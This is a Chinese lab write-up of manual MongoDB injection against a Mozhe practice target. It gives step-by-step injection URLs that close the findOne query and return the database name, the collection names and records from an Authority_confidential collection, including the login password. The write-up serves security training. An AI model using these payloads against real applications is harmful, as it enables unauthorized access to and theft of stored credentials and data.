SQL手工注入MongoDB数据库

MongoDB语法跟其它数据库有所区别
具体参考:https://www.runoob.com/mongodb/mongodb-query.html

环境

墨者靶场 sql手工注入漏洞测试(MongoDB数据库)

image-20220124230203923

思路

题目代码给出了列名

如果语句这样写/new_list.PHP?id=1 order by 2

代码接收db.notice.findOne({'id':'1 order by 2'}); return data; 并没有闭合,注入语句无法生效

想办法闭合语句,查看所有集合

image-20220124224027039

注入语句

都是内置函数,注入语句改列名就行

构造简单的链接测回显:/new_list.PHP?id=1'}); return ({title:1,content:'2

image-20220124224431259

爆库: /new_list.PHP?id=1'}); return ({title:tojson(db),content:'1

image-20220124224912390

爆表:/new_list.PHP?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串,并且mongodb函数区分大小写

image-20220124225025000


爆字段:/new_list.PHP?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

db.Authority_confidential是当前用的表,find函数用于查询,0是第一条数据,墨者第二条数据才是登录密码,故而把find()[0]改为find()[1]

image-20220124225100598

相关文章

MongoTemplate 是Spring Data MongoDB 中的一个核心类,为 S...
笔者今天要分享的是一个项目重构过程中如何将数据库选型由原...
mongodb/mongoTemplate.upsert批量插入更新数据的实现
进入官网下载官网安装点击next勾选同意,点击next点击custom...
头歌 MongoDB实验——数据库基本操作
期末考试复习总结